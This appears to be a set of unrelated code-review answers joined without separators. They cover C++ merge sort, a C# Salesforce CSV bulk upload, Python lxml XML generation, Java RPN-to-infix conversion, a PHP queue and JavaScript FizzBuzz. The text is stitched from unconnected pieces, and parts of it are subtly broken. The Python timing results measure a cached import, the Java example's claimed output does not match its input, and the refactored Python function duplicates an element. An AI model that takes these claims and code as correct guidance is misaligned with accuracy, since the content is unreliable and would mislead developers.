You only use arrEnd - 1 in two places, where you could use arrBegin + 1 instead. Changing that allows the use of mutable forward-iterators, whereas before you required mutable bidirectional iterators.

Adressing your extra questions:

It's better to move than copy where you can.
Your algorithm is still not stable, change if (*(i1) < *(i2)) to if (!(*i2 < *i1)).
You have fewer allocations than before, one for every merge instead of one for every recursive call to sort. That's still far more than the single one needed though.
That's the beginning. Next, you have to really think about how to most generically use the type / expressions affected, and to minimize the interface used.

std::iterator_traits, std::distance and std::advance are your friend there, and it wouldn't be amiss to only use < and == out of all relational operators, as those are the ones used by most generic code (especially all of the standard library).
Nearly. Use an extra-level of indirection, MergeSort is the public API doing the allocating and calling the recursive MergeSortImpl which calls MergeSortMerge.


Reading data from a CSV and pushing it to a Salesforce application

In addition to the post by @aepot, I made the following changes which reduced the completion time significantly.
I used a dictionary instead of a list to query patient Id. Querying a large list of objects in for loop is what really slowed down the processing. Here's what the code looks like now:
for (int i = 0; i < ptdiags.Count; i += BATCH_SIZE)
{
  var batchContents = SFToBTMapping.Bulk_PtDiag_Content(ptdiags.Skip(i).Take(BATCH_SIZE).ToList(), sfPatients.ToDictionary(p => p.PatientKey__c));
  var batch = BulkUpsert(job.Id, batchContents);
}

public static string Bulk_PtDiag_Content(List<Ptdiag> ptdiags, Dictionary<string, SfPatient__c> sfpatients)
        {
            var sb = new StringBuilder();
            sb.AppendLine("Patient__c,DiagKey__c,NickName__c,Sequence__c,ShortDescr__c,PTDiagKey__c");

            foreach (Ptdiag d in ptdiags)
            {
                SfPatientDiag__c sfd = Map_BTSQL_Patientdiag_To_SF_Patientdiag(d);

                sfd.Patient__c = sfpatients.GetValueOrDefault(d.Ptkey.ToString()) != null ? sfpatients[d.Ptkey.ToString()].Id : "";

                sb.Append(string.Join(",", sfd.Patient__c, sfd.DiagKey__c, sfd.NickName__c
                                    , sfd.Sequence__c, sfd.ShortDescr__c.Replace(",", ""), sfd.PTDiagKey__c));
                if (ptdiags.Last() != d)
                    sb.AppendLine();
            }

            return sb.ToString();
        }


The real issue with repeating yourself here is that you are iterating over your dataframe twice when you don't have to. Fortunately, the devs for lxml make the elements behave like lists, so you can create everything that you need to in one go, then just do root.append(sub_element) at the end like you would with a list.

Whenever you find yourself directly iterating over a pandas dataframe, that's usually a sign that it's not the correct data structure for the task. There are certainly exceptions, but I think using the csv module here might be a bit better of a fit. The reason being that you are technically iterating over the whole file with pd.read_csv, only to iterate again. csv.reader will allow you to iterate and process at the same time.

First, declare all of the trees you might need:

import csv
from lxml import etree as et

# configure your elements here. lxml acts as a list,
# so make them their own trees until you are ready to merge
root = et.Element('SignallingSchemeData', xmlns='boo')
source = et.Element('Source')
view = et.Element('View')

Note that I haven't used the SubElement factory class yet. Since Element can be treated as a list, we can leave the linking of elements to root to the end of the script.

Moving forward:

# you want this inserted first, so SubElement is
# perfectly fine here
timeframe = et.SubElement(root,'TimeFrame')
timeframe.attrib["fileUID"] = str(uuid.uuid4())
# you don't need the str function call here, it's already a string
timeframe.attrib["name"] = "timeframe 1"

# open your file here
with open('assets.csv') as fh:
    # the separator by default is ','
    # so no need to specify it
    reader = csv.DictReader(fh)

Now, csv.DictReader allows you to keep the row[key] paradigm because it will create an OrderedDict for each row:

with open('assets.csv') as fh:
    reader = csv.DictReader(fh)
    row = next(reader)

row
OrderedDict([('ID', '30734'), ('CODE', 'S1'), ('ELR', 'LEC1'), ('TRID', '1100'), ('DIR', ''), ('MILEAGE', '008+0249 (9-1497)'), ('X', '518169.12'), ('Y', '185128.27'), ('Z', '37.52'), ('DESC', ''), ('IMAGE', 'Asset30734.jpg')])

row['ID']
'30734'

row['CODE']
'S1'

This requires minimal changes from your original script. You can iterate over the reader just like before except the index doesn't have to be there anymore:

with open('assets.csv') as fh:
    reader = csv.DictReader(fh)

    for row in reader:
        # rest of loop

Refactoring the loop

Equipment

First, you can create a function to handle everything that's happening in the if block. This makes the core of the loop more readable, as well as logically separates functions of the code. Overall, the core logic is good. Your variable names are descriptive, if a little lengthy, with the only change really being formatting:

def add_equipment(root, row):
    '''Add equipment elements and supporting child elements to root'''
    equipment = et.SubElement(root, 'Equipment')

    # I'm grouping blocks of code/variables that group together
    signal_equipment = et.SubElement(equipment, 'SignalEquipment')
    signal_equipment.attrib["fileUID"] = row["ID"]
    signal_equipment.attrib["name"] = row["DESC"]

    # The names have been changed to snake_case with lowercased
    # letters, as is the naming conventions of variables and functions
    # in python (but not classes)
    equipment = et.SubElement(root, 'Equipment')
    eq_support = et.SubElement(equipment, 'EquipmentSupportEquipment')
    eq_support.attrib["fileUID"] = str(uuid.uuid4())

    reference = et.SubElement(signal_equipment, 'EquipmentSupportReference').text = eq_support.attrib["fileUID"]

I don't need to return anything because root is being modified in-place by these operations.

Now, the first portion of your loop looks like this:

with open('assets.csv') as fh:
    reader = csv.DictReader(fh)

    for row in reader:
        if row['CODE'] == 'S1':
            # now all of this code sits
            # in a function, and it's much easier to tell what's
            # going on
            add_equipment(root, row)
        else:
            equipment = et.SubElement(root, 'Equipment')

View

The view can be cleaned up in pretty much the same manner. Again, I don't really see anything egregious other than just some logical grouping and formatting. Your code and logical flow looks good, it's clear and easy to read

def add_view(view, row):
    '''Add supporting child elements to view. Pass in row for value extraction'''
    view_list = et.SubElement(view, 'ViewCoordinatesList')

    view_coords = et.SubElement(view_list, 'ViewCoordinates')

    item_file_uid = et.SubElement(view_coords, 'ItemFileUID')
    item_file_uid.attrib['fileUID'] = row['ID']

    longitude = et.SubElement(view_coords, 'ViewCoordinatePair', name='longittude')
    longitude.attrib['Value'] = row['Y']

    latitude = et.SubElement(view_coords, 'ViewCoordinatePair', name='latitude')
    latitude.attrib['Value'] = row['X']

    height = et.SubElement(view_coords, 'ViewCoordinatePair', name='height')
    height.attrib['Value'] = row['Z']

You don't need the str to wrap row['X'] anymore because csv.DictReader doesn't infer datatypes, everything is a string.

The loop as a whole now looks like this:

with open('assets.csv') as fh:
    reader = csv.DictReader(fh)

    for row in reader:
        if row['CODE'] == 'S1':
            # refactor to a function here that
            # adds to root and takes row as an argument
            add_equipment(root, row)
        else:
            equipment = et.SubElement(root, 'Equipment')

        # add the rest of your loop in a function here to
        # deal with the view tree, again, take row as an argument
        add_view(view, row)

Now, your loop can just be read as a loop, and the logic inside the if blocks is abstracted into functions.

Constructing your tree

Now, to get everything in order, it's just a call to root.append:

root.append(source)
root.append(view)

And everything is in order with one pass over the csv file. Your last line can remain perfectly intact:

et.ElementTree(root).write('test.xml', pretty_print=True, xml_declaration=True, encoding='UTF-8', standalone=None)

Timing Results

Original Script

python -m timeit 'import file'
10 loops, best of 3: 0.118 usec per loop

Refactored Script

python -m timeit 'import file2'
10000000 loops, best of 3: 0.0809 usec per loop


Converting Reverse Polish to Infix Notation in Java

use a recursive function
I guess avoiding the stack-juggling (because of the recursivity of fromRPN) and the unnecessary creation of String objects (with StringJoiner) should make it fast enough.

fromRPN( new ArrayList<String>( Arrays.asList( "1 3 + 2 4 5 - +".split( " " ) ) ) );  // ((1+3)/(2+(4-5)))

public String fromRPN( ArrayList<String> rpn ) {
  for( int n = 0; rpn.size() > 1; n++ )
    switch( rpn.get( n ) ) {
    case "+":
    case "-":
    case "*":
    case "/":
      String s = new StringJoiner( "", "(", ")" ).add( rpn.remove( n - 2 ) ).add( rpn.remove( n - 1 ) ).add( rpn.remove( n - 2 ) ).toString();
      rpn.add( n - 2, s );
      if( rpn.size() > 1 )
        return( fromRPN( rpn ) );
      return( rpn.get( 0 ) );
    case "sqrt":  // insert Your unary operator(s) here…
      StringJoiner join = rpn.get( n ).startsWith( "(" ) ? new StringJoiner( "" ) : new StringJoiner( "",  "(", ")" );
      join.add( rpn.remove( n ) );
      if( rpn.get( n - 1  ).startsWith( "(" ) )
        join.add( rpn.remove( n - 1 ) );
      else
        join.add( "(" ).add( rpn.remove( n - 1 ) ).add( ")" );
      s = join.toString();
      rpn.add( n - 1, s );
      if( rpn.size() > 1 )
        return( fromRPN( rpn ) );
      return( rpn.get( 0 ) );
    }
  return( fromRPN( rpn ) );
}

You can test both types of expressions (RPN and algebraic) with 7th stone


Getters and setters
So there is a getter for item (i.e. get_item()) - why not a getter (and setter) for the next property? If getters and setters are added, then those properties could be set to private visibility if deemed appropriate.
Are you familiar with the PHP Standards Recommendations? While it is only a suggestion, you might find them helpful for writing code that is maintainable and readable, not only for others but also your future self.
According to PSR-1:

Method names MUST be declared in camelCase().1

A format of getItem() is more widely used amongst many PHP developers.
Types and conditions
Inside Queue::push() and Queue::pop() I see this common first line:

if ($this->size == 0) {

It is advisable to use strict equality comparison operators (i.e. === and !==) to avoid excess type-juggling. As a consequence, size should perhaps be declared with a initial value of 0.
The conditional could also be shortened to if (!$this->size) { though that would allow any type that is considered to FALSE to allow the conditional block to be executed.
keyword var
var is a feature from PHP 4 and it isn't needed anymore2 - while it works as a synonym for public it is deprecated. If you adhere to PSR-2 then note it specifies:

The var keyword MUST NOT be used to declare a property.3

for loops
There isn't anything wrong with a traditional loop, but you could use the range() function to iterate $i for you in a foreach loop:

for ($i = 1; $i <= 10; $i++) {

can be changed to:
foreach(range(1, 10) as $i) {


Maybe some changes

Removing the arrays needed to hold the counter, its a huge overhead just for a counter.
Avoiding excessive logic statements using (num % val) to return strings and using the empty string to add a number (see code marked /*A*/)
Putting everything into an array to join when done as you have done. It is the quickest way to build a long string in JavaScript.

Thus we end up with the following...

const fizz = num => num % 5 ? "" : "fizz";
const buzz = num => num % 3 ? "" : "buzz";
const fizzBuzz = num => fizz(num) + buzz(num);
const fizzBuzzer = (min, max) => {
    const res = [];
    do {
        const fb =  fizzBuzz(min);
        res.push(fb ? fb : min);       /*A*/
    } while (min++ < max);

    return res.join("\n");
}

Personally the function fizz, buzz, fizzBuzz are just adding code without good reason and would need to be closed over to avoid polluting what ever scope it is in.

Thus the 3 function become the expression right of const fb =

Also I am not a fan of arrow functions in an open scope so using a function declaration to ensure accessibility.

function fizzBuzzer(min, max) {
    const res = [];
    do {
        const fb =  (min % 5 ? "" : "fizz") + (min % 3 ? "" : "buzz");
        res.push(fb ? fb : min);
    } while (min++ < max);

    return res.join("\n");
}

You ask

  How consistent is this code with the best practices in functional and declarative programming?

Best practice, well that is subjective, contextual and would only have comparative meaning when compared to "bad" code?

Your code is not bad, it works , it would have been worse 3 years back due to the way JS engines handled arrays, but now most optimizers recognize the pattern and make it fly.

There is a zillion ways to write any bit of code. JS programmers can still not agree on the use of semicolons and whether or not automatic semicolon insertion was a good idea or not, so how is any bit of code ever going to be best practice.

  Are there any bad practices in it that I should be aware of?

OMDG Yes there is.... Semicolons, where are they?

// Example of bad
const fizzBuzzard = (min, max) => {
    const next = n => n <= max ? order[n % 15] : () => "";
    const txt = w => n => (w ? w : n + "\n") + next(++n)(n);
    const [n, b, f, fb] = [txt(), txt("buzzard\n"), txt("fizz\n"), txt("fizzBuzzard\n")];
    const order = [fb, n, n, b, n, f, b, n, n, b, f, n, b, n, n];
    return next(min)(min);
}
console.log(fizzBuzzard(1, 100));